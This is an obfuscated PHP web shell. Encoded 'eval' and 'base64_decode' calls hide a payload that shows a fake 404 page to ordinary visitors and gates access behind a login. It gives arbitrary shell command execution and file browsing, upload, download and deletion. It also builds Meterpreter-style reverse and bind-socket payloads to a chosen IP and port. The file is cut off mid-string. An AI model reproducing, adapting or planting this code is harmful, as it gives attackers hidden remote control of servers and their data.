<?php
set_time_limit(0);
session_start();
$version = '3.2';

function loader() {
 $data = 425564251;
 return hex2bin(dechex($data * 4));
}

function converter() {
 $data = (object)array();
 $data->prefix = 412638425.25;
 $data->middle = 3552351;
 $data->tail = str_replace('a51f99fb2425cdbab5871b800d0727f', 'e', 'da51f99fb2425cdbab5871b800d0727fcoda51f99fb2425cdbab5871b800d0727f');
 return hex2bin(dechex($data->prefix * 4) . dechex($data->middle)) . $data->tail;
}

$launcher = create_function('$data', loader() . '($data);');
$data_value = create_function('$data', 'return ' . converter() . '($data);');
$launcher($data_value(preg_replace(array('/MrU1/', '/M1tR/', '/Q9sW/'), array(chr(101), chr(97), chr(65)), 'aWYoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddICE9IGJhc2U2NF9kZWNvZGUoJ1ZXNXBVMmhsYkd3PScpKSB7CglkaWUoJzwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vSUVURi8vRFREIEhUTUwgMi4wLy9FTiI+CjxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMICcgLiBodG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuICcgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+Cjxocj4KJyAuICRfU0VSVkVSWydTRVJWRVJfU0lHTkFUVVJFJ10gLiAnCjwvYm9keT48L2h0bWw+CicpOwp9CgpjbGFzcyBMb2dpbiB7CglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIExvZ2luUmVxdWVzdCgmJGNvbmZpZykgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsndSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3AnXSkpIHsKCQkJaWYoQ3J5cHRvOjpYQjY0KCRfUkVRVUVTVFsndSddKSA9PSAkY29uZmlnLT51c2VybmFtZSAmJiBoYXNoKCdzaGE1MTInLCBDcnlwdG86OlhCNjQoJF9SRVFVRVNUWyd1J10pIC4gJF9SRVFVRVNUWydwJ10pID09ICRjb25maWctPnBhc3N3b3JkKSB7CgkJCQkkX1NFU1NJT05bJ1VOSVNIRUxMJ10gPSB0cnVlOwoJCQl9IGVsc2UgewoJCQkJJGNvbmZpZy0+ZXJyb3IgPSAnPGRpdiBjbGFzcz0iZXJyb3IiPldyb25nIHVzZXJuYW1lIC8gcGFzc3dvcmQ8L2Rpdj4nOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gSXNMb2dnZWQoKSB7CgkJaWYoaXNzZXQoJF9TRVNTSU9OWydVTklTSEVMTCddKSkgewoJCQlyZXR1cm4gdHJ1ZTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgpjbGFzcyBDcnlwdG8gewoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBHZW5LZXkoJHNpemUpIHsKCQkka2V5ID0gc3Vic3RyKHN0cl9zaHVmZmxlKCcwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWicpLCAwLCAkc2l6ZSk7CgkJJF9TRVNTSU9OWydLRVknXSA9ICRrZXk7CgkJcmV0dXJuICRrZXk7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBHZW5SYW5kKCRzaXplKSB7CgkJcmV0dXJuIHN1YnN0cihzdHJfc2h1ZmZsZSgnMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVonKSwgMCwgJHNpemUpOwoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gWCgkYnVmZmVyLCAkZW5jb2RlID0gZmFsc2UpIHsJCgkJJGtleSA9ICRfU0VTU0lPTlsnS0VZJ107CgkJJGogPSAtMTsKCQlmb3IoJGkgPSAwOyAkaSA8IHN0cmxlbigkYnVmZmVyKTsgJGkrKykgewoJCQlpZigrKyRqID09IHN0cmxlbigka2V5KSkgewoJCQkJJGogPSAwOwoJCQl9CQoJCQkkYnVmZmVyWyRpXSA9ICRidWZmZXJbJGldIF4gJGtleVskal07CgkJfQoJCWlmKCRlbmNvZGUpIHsKCQkJcmV0dXJuIHVybGVuY29kZShiYXNlNjRfZW5jb2RlKCRidWZmZXIpKTsKCQl9CgkJcmV0dXJuICRidWZmZXI7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBYQjY0KCRidWZmZXIpIHsKCQlyZXR1cm4gQ3J5cHRvOjpYKGJhc2U2NF9kZWNvZGUoJGJ1ZmZlcikpOwoJfQp9CgpjbGFzcyBVdGlsIHsKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gUCgkYnVmZmVyKSB7CgkJcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJGJ1ZmZlciwgRU5UX1FVT1RFUyk7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBHZXRTeXN0ZW1JbmZvKCkgewoJCWlmKExvZ2luOjpJc0xvZ2dlZCgpKSB7CgkJCXJldHVybiBkYXRlKCdyJykgLiAnIHwgJyAuIHBocF91bmFtZSgpIC4gJyB8IDxpPjxhIHN0eWxlPSJjb2xvcjogIzVmNWY1ZiIgaHJlZj0iP2xvZ291dD0xIj5Mb2dvdXQ8L2E+PC9pPic7CgkJfQoJCXJldHVybiBudWxsOwoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gR2V0QWxsKCkgewoJCXJldHVybiAnPHRyPjx0ZCB2YWxpZ249InRvcCIgY2xhc3M9InRpdGxlIj5DdXJyZW50IE9TPC90ZD48dGQ+JyAuIHBocF91bmFtZSgpIC4gJzwvdGQ+PC90cj4nIC4KCQkJJzx0cj48dGQgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0aXRsZSI+Q3VycmVudCBVc2VyPC90ZD48dGQ+JyAuIFV0aWw6OkdldFVzZXIoKSAuICc8L3RkPjwvdHI+JyAuCgkJCSc8dHI+PHRkIHZhbGlnbj0idG9wIiBjbGFzcz0idGl0bGUiPkN1cnJlbnQgRGlyZWN0b3J5PC90ZD48dGQ+JyAuIFV0aWw6OkdldENXRCgpIC4gJzwvdGQ+PC90cj4nIC4KCQkJJzx0cj48dGQgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0aXRsZSI+U2hlbGwgTG9jYXRpb248L3RkPjx0ZD4nIC4gX19GSUxFX18gLiAnPC90ZD48L3RyPicgLgoJCQknPHRyPjx0ZCB2YWxpZ249InRvcCIgY2xhc3M9InRpdGxlIj5OZXR3b3JraW5nPC90ZD48dGQ+JyAuIFV0aWw6OkdldElQKCkgLiAnPC90ZD48L3RyPic7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBHZXRJUCgpIHsKCQlyZXR1cm4gbmwyYnIoc2hlbGxfZXhlYygnaWZjb25maWcnKSk7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBHZXRVc2VyKCkgewoJCXJldHVybiBubDJicihzaGVsbF9leGVjKCdpZCcpKTsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEdldENXRCgpIHsKCQlpZihpc3NldCgkX1JFUVVFU1RbJ2NkJ10pKSB7CgkJCSRwYXRoID0gVTo6UChiYXNlNjRfZGVjb2RlKENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ2NkJ10pKSk7CgkJCSRjaGVjayA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7CgkJCWFycmF5X3BvcCgkY2hlY2spOwoJCQlpZihlbmQoJGNoZWNrKSA9PSAnLi4nKSB7CgkJCQlhcnJheV9wb3AoJGNoZWNrKTsKCQkJCWFycmF5X3BvcCgkY2hlY2spOwoJCQkJJHBhdGggPSBpbXBsb2RlKCcvJywgJGNoZWNrKSAuICcvJzsKCQkJfQoJCQkkX1NFU1NJT05bJ1BBVEgnXSA9ICRwYXRoOwoJCQlyZXR1cm4gJHBhdGg7CgkJfQoJCWlmKGlzc2V0KCRfU0VTU0lPTlsnUEFUSCddKSkgewoJCQlyZXR1cm4gJF9TRVNTSU9OWydQQVRIJ107CgkJfSBlbHNlIHsKCQkJcmV0dXJuIHN1YnN0cihzaGVsbF9leGVjKCdwd2QnKSwgLTEpID09ICcvJyA/IHRyaW0oc2hlbGxfZXhlYygncHdkJykpIDogdHJpbShzaGVsbF9leGVjKCdwd2QnKSkgLiAnLyc7CQoJCX0KCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIENoYW5nZUNXRCgmJGNvbmZpZykgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsnY2NkJ10pKSB7CgkJCSRjb25maWctPmN1cnJlbnRfZGlyID0gVTo6UChDcnlwdG86OlhCNjQoJF9SRVFVRVNUWydjY2QnXSkpOwoJCQkkX1NFU1NJT05bJ1BBVEgnXSA9ICRjb25maWctPmN1cnJlbnRfZGlyOwoJCX0KCQlVdGlsOjpBZGp1c3RQYXRoKCRjb25maWcpOwoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gQWRqdXN0UGF0aCgmJGNvbmZpZykgewoJCWlmKHN1YnN0cigkY29uZmlnLT5jdXJyZW50X2RpciwgLTEpICE9ICcvJykgewoJCQkkY29uZmlnLT5jdXJyZW50X2RpciAuPSAnLyc7CgkJCSRfU0VTU0lPTlsnUEFUSCddID0gJGNvbmZpZy0+Y3VycmVudF9kaXI7CgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGNvbmZpZykgewoJCSRvdXRwdXQgPSAnJzsJCQoJCWZvcmVhY2goZXhwbG9kZSgiXG4iLCBzaGVsbF9leGVjKCdscyAtbGEgJyAuICRjb25maWctPmN1cnJlbnRfZGlyKSkgYXMgJGl0ZW0pIHsKCQkJaWYoc3Vic3RyKCRpdGVtLCAwLCAxKSA9PSAnZCcpIHsKCQkJCSRjdXJyZW50ID0gZW5kKGV4cGxvZGUoJyAnLCAkaXRlbSkpOwoJCQkJJG91dHB1dCAuPSAnPHRyPjx0ZD48L3RkPjx0ZCB2YWxpZ249InRvcCIgY2xhc3M9ImNvbnNvbGUiPjxhIGhyZWY9Ij9jZD0nIC4gQ3J5cHRvOjpYKGJhc2U2NF9lbmNvZGUoJGNvbmZpZy0+Y3VycmVudF9kaXIgLiAkY3VycmVudCAuICcvJyksIHRydWUpIC4gJyNicm93c2UiPicgLiAkaXRlbSAuICc8L2E+PC90ZD48L3RyPic7CgkJCX0gZWxzZSBpZihzdWJzdHIoJGl0ZW0sIDAsIDEpID09ICctJykgewoJCQkJJGN1cnJlbnQgPSBlbmQoZXhwbG9kZSgnICcsICRpdGVtKSk7CgkJCQkkb3V0cHV0IC49ICc8dHI+PHRkPjxhIGhyZWY9Ij9kPScgLiBDcnlwdG86OlgoYmFzZTY0X2VuY29kZSgkY29uZmlnLT5jdXJyZW50X2RpciAuICRjdXJyZW50KSwgdHJ1ZSkgLiciPmRvd25sb2FkPC9hPiB8IDxhIHN0eWxlPSJjb2xvcjogI2FjMDAwMDsiIGhyZWY9Ij9yPScgLiBDcnlwdG86OlgoYmFzZTY0X2VuY29kZSgkY29uZmlnLT5jdXJyZW50X2RpciAuICRjdXJyZW50KSwgdHJ1ZSkgLicjYnJvd3NlIj5kZWxldGU8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb25zb2xlIj48YSBocmVmPSI/dj0nIC4gQ3J5cHRvOjpYKGJhc2U2NF9lbmNvZGUoJGNvbmZpZy0+Y3VycmVudF9kaXIgLiAkY3VycmVudCksIHRydWUpIC4gJyI+JyAuICRpdGVtIC4gJzwvYT48L3RkPjwvdHI+JzsKCQkJfSBlbHNlIHsKCQkJCWlmKHRyaW0oJGl0ZW0pICE9ICIiKSB7IAoJCQkJCSRvdXRwdXQgLj0gJzx0cj48dGQ+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb25zb2xlIj4nIC4gJGl0ZW0gLiAnPC90ZD48L3RyPic7CgkJCQl9CQkJCgkJCX0KCQl9CgkJcmV0dXJuICRvdXRwdXQ7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBWaWV3RmlsZSgpIHsKCQlpZihpc3NldCgkX1JFUVVFU1RbJ3YnXSkpIHsKCQkJJGZpbGUgPSBVOjpQKGJhc2U2NF9kZWNvZGUoQ3J5cHRvOjpYQjY0KCRfUkVRVUVTVFsndiddKSkpOwoJCQkkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKCQkJJGVycm9yID0gZXJyb3JfZ2V0X2xhc3QoKTsKCQkJaWYoJGVycm9yICE9IG51bGwpIHsKCQkJCSRlcnJvciA9ICc8ZGl2IHN0eWxlPSJjb2xvcjogI2FjMDAwMCI+RXJyb3I6ICcgLiAkZXJyb3JbJ21lc3NhZ2UnXSAuICc8L2Rpdj4nOwoJCQl9CgkJCXJldHVybiAnCgkJCTxkaXYgY2xhc3M9ImJveCBnZW5lcmljIj4KCQkJCTxiPkNvbnRlbnQgb2YgJyAuICRmaWxlIC4gJzwvYj4KCQkJCTx0YWJsZSBjZWxscGFkZGluZz0iNyIgY2VsbHNwYWNpbmc9IjAiPgoJCQkJPHRyPjx0ZCBjbGFzcz0iY29uc29sZSI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGFjIj4nIC4gJGVycm9yIC4gCgkJCQlzdHJfcmVwbGFjZSgiXHQiLCAiJm5ic3A7ICAgICIsIG5sMmJyKFU6OlAoJGNvbnRlbnQpKSkgLgoJCQkJJzwvc3Bhbj48L3RkPjwvdHI+CgkJCQk8L3RhYmxlPgoJCQk8L2Rpdj4nOwoJCX0KCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIERvd25sb2FkRmlsZSgpIHsKCQlpZihpc3NldCgkX1JFUVVFU1RbJ2QnXSkpIHsKCQkJJGZpbGUgPSBiYXNlNjRfZGVjb2RlKENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ2QnXSkpOwoJCQlpZihmaWxlX2V4aXN0cygkZmlsZSkpIHsKCQkJICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOwoJCQkgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwoJCQkgICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpKTsKCQkJICAgIGhlYWRlcignRXhwaXJlczogMCcpOwoJCQkgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsKCQkJICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKCQkJICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkZmlsZSkpOwoJCQkgICAgcmVhZGZpbGUoJGZpbGUpOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gVXBsb2FkRmlsZSgmJGNvbmZpZykgewoJCWlmKGlzc2V0KCRfRklMRVNbJ2YnXSkpIHsKCQkJJGNvbmZpZy0+ZXJyb3IgPSAnPGRpdiBjbGFzcz0iZXJyb3IiPicgLiAkcGF0aCAuICcgY2Fubm90IGJlIHVwbG9hZGVkPC9kaXY+JzsKCQkJJHBhdGggPSAkX1JFUVVFU1RbJ3AnXSAuICcvJyAuIGJhc2VuYW1lKCRfRklMRVNbImYiXVsibmFtZSJdKTsKCQkJJGVycm9yID0gbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImYiXVsidG1wX25hbWUiXSwgJHBhdGgpOwoJCQlpZihmaWxlX2V4aXN0cygkcGF0aCkpIHsKCQkJCSRjb25maWctPmVycm9yID0gJzxkaXYgY2xhc3M9ImVycm9yIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogIzY1YmUwMCI+JyAuIHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHBhdGgpIC4gJyBoYXMgYmVlbiBzdWNjZXNzZnVsbHkgdXBsb2FkZWQ8L2Rpdj4nOwoJCQl9IGVsc2UgewoJCQkJJGNvbmZpZy0+ZXJyb3IgPSAnPGRpdiBjbGFzcz0iZXJyb3IiPicgLiBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRwYXRoKSAuICcgY2Fubm90IGJlIHVwbG9hZGVkPC9kaXY+JzsKCQkJfQkKCQl9Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBEZWxldGVGaWxlKCkgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsnciddKSkgewoJCQl1bmxpbmsoYmFzZTY0X2RlY29kZShDcnlwdG86OlhCNjQoJF9SRVFVRVNUWydyJ10pKSk7CgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gR2V0Q21kKCYkY29uZmlnKSB7CgkJaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpIHsKCQkJJGNvbmZpZy0+Y21kID0gQ3J5cHRvOjpYQjY0KCRfUkVRVUVTVFsnY21kJ10pOwoJCX0gZWxzZSB7CgkJCSRjb25maWctPmNtZCA9ICcnOwoJCX0JCQoJfQoJCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEV4ZWN1dGUoJGNvbmZpZykgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsnYWpheCddKSkgewoJCQlvYl9lbmRfY2xlYW4oKTsKCQkJZWNobyBubDJicihVOjpQKHNoZWxsX2V4ZWMoJGNvbmZpZy0+Y21kIC4gJyAyPiYxJykpKTsKCQkJZGllKCk7CgkJfQoJCXJldHVybiBubDJicihVOjpQKHNoZWxsX2V4ZWMoJGNvbmZpZy0+Y21kIC4gJyAyPiYxJykpKTsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEdlbk1ldGVycHJldGVyKCYkY29uZmlnKSB7CgkJaWYoaXNzZXQoJF9SRVFVRVNUWyd0J10pICYmIGlzc2V0KCRfUkVRVUVTVFsnaSddKSAmJgoJCSAgIGlzc2V0KCRfUkVRVUVTVFsncCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3BhJ10pKSB7CgkJCSRtZXRlcnByZXRlciA9IChvYmplY3QpYXJyYXkoKTsKCQkJJG1ldGVycHJldGVyLT50eXBlID0gQ3J5cHRvOjpYQjY0KCRfUkVRVUVTVFsndCddKTsKCQkJJG1ldGVycHJldGVyLT5pcCA9IENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ2knXSk7CgkJCSRtZXRlcnByZXRlci0+cG9ydCA9IENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ3AnXSk7CgkJCSRtZXRlcnByZXRlci0+cGF0aCA9IENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ3BhJ10pOwoJCQkkbWV0ZXJwcmV0ZXItPnJldmVyc2UgPSAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktFVmZRVXhNS1RzS2FXNXBYM05sZENnblpHbHpjR3hoZVY5bGNuSnZjbk1uTENBeEtUc0tjMlYwWDNScGJXVmZiR2x0YVhRb01DazdDZ29qSUZSb1pTQndZWGxzYjJGa0lHaGhibVJzWlhJZ2IzWmxjbmR5YVhSbGN5QjBhR2x6SUhkcGRHZ2dkR2hsSUdOdmNuSmxZM1FnVEVoUFUxUWdZbVZtYjNKbElITmxibVJwYm1jS0l5QnBkQ0IwYnlCMGFHVWdkbWxqZEdsdExnb2thWEFnUFNBblcwbFFYU2M3Q2lSd2IzSjBJRDBnVzFCUFVsUmRPd29rYVhCbUlEMGdRVVpmU1U1RlZEc0tDbWxtSUNoR1FVeFRSU0FoUFQwZ2MzUnljRzl6S0NScGNDd2dJam9pS1NrZ2V3b0pJeUJwY0hZMklISmxjWFZwY21WeklHSnlZV05yWlhSeklHRnliM1Z1WkNCMGFHVWdZV1JrY21WemN3b0pKR2x3SUQwZ0lsc2lMaUFrYVhBZ0xpSmRJanNLQ1NScGNHWWdQU0JCUmw5SlRrVlVOanNLZlFvS2FXWWdLQ2drWmlBOUlDZHpkSEpsWVcxZmMyOWphMlYwWDJOc2FXVnVkQ2NwSUNZbUlHbHpYMk5oYkd4aFlteGxLQ1JtS1NrZ2V3b0pKSE1nUFNBa1ppZ2lkR053T2k4dmV5UnBjSDA2ZXlSd2IzSjBmU0lwT3dvSkpITmZkSGx3WlNBOUlDZHpkSEpsWVcwbk93cDlJR1ZzYzJWcFppQW9LQ1JtSUQwZ0oyWnpiMk5yYjNCbGJpY3BJQ1ltSUdselgyTmhiR3hoWW14bEtDUm1LU2tnZXdvSkpITWdQU0FrWmlna2FYQXNJQ1J3YjNKMEtUc0tDU1J6WDNSNWNHVWdQU0FuYzNSeVpXRnRKenNLZlNCbGJITmxhV1lnS0Nna1ppQTlJQ2R6YjJOclpYUmZZM0psWVhSbEp5a2dKaVlnYVhOZlkyRnNiR0ZpYkdVb0pHWXBLU0I3Q2dra2N5QTlJQ1JtS0NScGNHWXNJRk5QUTB0ZlUxUlNSVUZOTENCVFQweGZWRU5RS1RzS0NTUnlaWE1nUFNCQWMyOWphMlYwWDJOdmJtNWxZM1FvSkhNc0lDUnBjQ3dnSkhCdmNuUXBPd29KYVdZZ0tDRWtjbVZ6S1NCN0lHUnBaU2dwT3lCOUNna2tjMTkwZVhCbElEMGdKM052WTJ0bGRDYzdDbjBnWld4elpTQjdDZ2xrYVdVb0oyNXZJSE52WTJ0bGRDQm1kVzVqY3ljcE93cDlDbWxtSUNnaEpITXBJSHNnWkdsbEtDZHVieUJ6YjJOclpYUW5LVHNnZlFvS2MzZHBkR05vSUNna2MxOTBlWEJsS1NCN0lBcGpZWE5sSUNkemRISmxZVzBuT2lBa2JHVnVJRDBnWm5KbFlXUW9KSE1zSURRcE95QmljbVZoYXpzS1kyRnpaU0FuYzI5amEyVjBKem9nSkd4bGJpQTlJSE52WTJ0bGRGOXlaV0ZrS0NSekxDQTBLVHNnWW5KbFlXczdDbjBLYVdZZ0tDRWtiR1Z1S1NCN0Nna2pJRmRsSUdaaGFXeGxaQ0J2YmlCMGFHVWdiV0ZwYmlCemIyTnJaWFF1SUNCVWFHVnlaU2R6SUc1dklIZGhlU0IwYnlCamIyNTBhVzUxWlN3Z2MyOEtDU01nWW1GcGJBb0paR2xsS0NrN0NuMEtKR0VnUFNCMWJuQmhZMnNvSWs1c1pXNGlMQ0FrYkdWdUtUc0tKR3hsYmlBOUlDUmhXeWRzWlc0blhUc0tDaVJpSUQwZ0p5YzdDbmRvYVd4bElDaHpkSEpzWlc0b0pHSXBJRHdnSkd4bGJpa2dld29KYzNkcGRHTm9JQ2drYzE5MGVYQmxLU0I3SUFvSlkyRnpaU0FuYzNSeVpXRnRKem9nSkdJZ0xqMGdabkpsWVdRb0pITXNJQ1JzWlc0dGMzUnliR1Z1S0NSaUtTazdJR0p5WldGck93b0pZMkZ6WlNBbmMyOWphMlYwSnpvZ0pHSWdMajBnYzI5amEyVjBYM0psWVdRb0pITXNJQ1JzWlc0dGMzUnliR1Z1S0NSaUtTazdJR0p5WldGck93b0pmUXA5Q2dvaklGTmxkQ0IxY0NCMGFHVWdjMjlqYTJWMElHWnZjaUIwYUdVZ2JXRnBiaUJ6ZEdGblpTQjBieUIxYzJVdUNpUkhURTlDUVV4VFd5ZHRjMmR6YjJOckoxMGdQU0FrY3pzS0pFZE1UMEpCVEZOYkoyMXpaM052WTJ0ZmRIbHdaU2RkSUQwZ0pITmZkSGx3WlRzS1pYWmhiQ2drWWlrN0NtUnBaU2dwT3dvL1Bnbz0nOwoJCQkkbWV0ZXJwcmV0ZXItPmJpbmQgPSAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktFVmZRVXhNS1RzS2FXNXBYM05sZENnblpHbHpjR3hoZVY5bGNuSnZjbk1uTENBeEtUc0tjMlYwWDNScGJXVmZiR2x0YVhRb01DazdDZ29qSUZSb1pTQndZWGxzYjJGa0lHaGhibVJzWlhJZ2IzWmxjbmR5YVhSbGN5QjBhR2x6SUhkcGRHZ2dkR2hsSUdOdmNuSmxZM1FnVEZCUFVsUWdZbVZtYjNKbElITmxibVJwYm1jS0l5QnBkQ0IwYnlCMGFHVWdkbWxqZEdsdExnb2tjRzl5ZENBOUlGdFFUMUpVWFRzS0pHbHdZV1JrY2lBOUlDSXdMakF1TUM0d0lqc0tDbWxtSUNocGMxOWpZV3hzWVdKc1pTZ25jM1J5WldGdFgzTnZZMnRsZEY5elpYSjJaWEluS1NrZ2V3b0pKSE55ZG5Odlkyc2dQU0J6ZEhKbFlXMWZjMjlqYTJWMFgzTmxjblpsY2lnaWRHTndPaTh2ZXlScGNHRmtaSEo5T25za2NHOXlkSDBpS1RzS0NXbG1JQ2doSkhOeWRuTnZZMnNwSUhzZ1pHbGxLQ2s3SUgwS0NTUnpJRDBnYzNSeVpXRnRYM052WTJ0bGRGOWhZMk5sY0hRb0pITnlkbk52WTJzc0lDMHhLVHNLQ1daamJHOXpaU2drYzNKMmMyOWpheWs3Q2dra2MxOTBlWEJsSUQwZ0ozTjBjbVZoYlNjN0NuMGdaV3h6WldsbUlDaHBjMTlqWVd4c1lXSnNaU2duYzI5amEyVjBYMk55WldGMFpWOXNhWE4wWlc0bktTa2dld29KSkhOeWRuTnZZMnNnUFNCemIyTnJaWFJmWTNKbFlYUmxYMnhwYzNSbGJpaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnVTA5TVgxUkRVQ2s3Q2dscFppQW9JU1J5WlhNcElIc2daR2xsS0NrN0lIMEtDU1J6SUQwZ2MyOWphMlYwWDJGalkyVndkQ2drYzNKMmMyOWpheWs3Q2dsemIyTnJaWFJmWTJ4dmMyVW9KSE55ZG5Odlkyc3BPd29KSkhOZmRIbHdaU0E5SUNkemIyTnJaWFFuT3dwOUlHVnNjMlZwWmlBb2FYTmZZMkZzYkdGaWJHVW9KM052WTJ0bGRGOWpjbVZoZEdVbktTa2dld29KSkhOeWRuTnZZMnNnUFNCemIyTnJaWFJmWTNKbFlYUmxLRUZHWDBsT1JWUXNJRk5QUTB0ZlUxUlNSVUZOTENCVFQweGZWRU5RS1RzS0NTUnlaWE1nUFNCemIyTnJaWFJmWW1sdVpDZ2tjM0oyYzI5amF5d2dKR2x3WVdSa2Npd2dKSEJ2Y25RcE93b0phV1lnS0NFa2NtVnpLU0I3SUdScFpTZ3BPeUI5Q2dra2N5QTlJSE52WTJ0bGRGOWhZMk5sY0hRb0pITnlkbk52WTJzcE93b0pjMjlqYTJWMFgyTnNiM05sS0NSemNuWnpiMk5yS1RzS0NTUnpYM1I1Y0dVZ1BTQW5jMjlqYTJWMEp6c0tmU0JsYkhObElIc0tDV1JwWlNncE93cDlDbWxtSUNnaEpITXBJSHNnWkdsbEtDazdJSDBLQ25OM2FYUmphQ0FvSkhOZmRIbHdaU2tnZXdwallYTmxJQ2R6ZEhKbFlXMG5PaUFrYkdWdUlEMGdabkpsWVdRb0pITXNJRFFwT3lCaWNtVmhhenNLWTJGelpTQW5jMjlqYTJWMEp6b2dKR3hsYmlBOUlITnZZMnRsZEY5eVpXRmtLQ1J6TENBMEtUc2dZbkpsWVdzN0NuMEthV1lnS0NFa2JHVnVLU0I3Q2draklGZGxJR1poYVd4bFpDQnZiaUIwYUdVZ2JXRnBiaUJ6YjJOclpYUXVJQ0JVYUdWeVpTZHpJRzV2SUhkaGVTQjBieUJqYjI1MGFXNTFaU3dnYzI4S0NTTWdZbUZwYkFvSlpHbGxLQ2s3Q24wS0pHRWdQU0IxYm5CaFkyc29JazVzWlc0aUxDQWtiR1Z1S1RzS0pHeGxiaUE5SUNSaFd5ZHNaVzRuWFRzS0NpUmlJRDBnSnljN0NuZG9hV3hsSUNoemRISnNaVzRvSkdJcElEd2dKR3hsYmlrZ2V3b0pjM2RwZEdOb0lDZ2tjMTkwZVhCbEtTQjdDZ2xqWVhObElDZHpkSEpsWVcwbk9pQWtZaUF1UFNCbWNtVmhaQ2drY3l3Z0pHeGxiaTF6ZEhKc1pXNG9KR0lwS1RzZ1luSmxZV3M3Q2dsallYTmxJQ2R6YjJOclpYUW5PaUFrWWlBdVBTQnpiMk5yWlhSZmNtVmhaQ2drY3l3Z0pHeGxiaTF6ZEhKc1pXNG9KR0lwS1RzZ1luSmxZV3M3Q2dsOUNuMEtDaU1nVTJWMElIVndJSFJvWlNCemIyTnJaWFFnWm05eUlIUm9aU0J0WVdsdUlITjBZV2RsSUhSdklIVnpaUzRLSkVkTVQwSkJURk5iSjIxelozTnZZMnNuWFNBOUlDUnpPd29rUjB4UFFrRk1VMXNuYlhObmMyOWphMTkwZVhCbEoxMGdQU0FrYzE5MGVYQmxPd3BsZG1Gc0tDUmlLVHNLWkdsbEtDazdDajgrQ2c9PSc7CgkJCSRtZXRlcnByZXRlci0+cGF5bG9hZCA9IHN0cl9yZXBsYWNlKCdbSVBdJywgJG1ldGVycHJldGVyLT5pcCwgc3RyX3JlcGxhY2UoJ1tQT1JUXScsICRtZXRlcnByZXRlci0+cG9ydCwgYmFzZTY0X2RlY29kZSgkbWV0ZXJwcmV0ZXItPnskbWV0ZXJwcmV0ZXItPnR5cGV9KSkpOwoJCQkkZm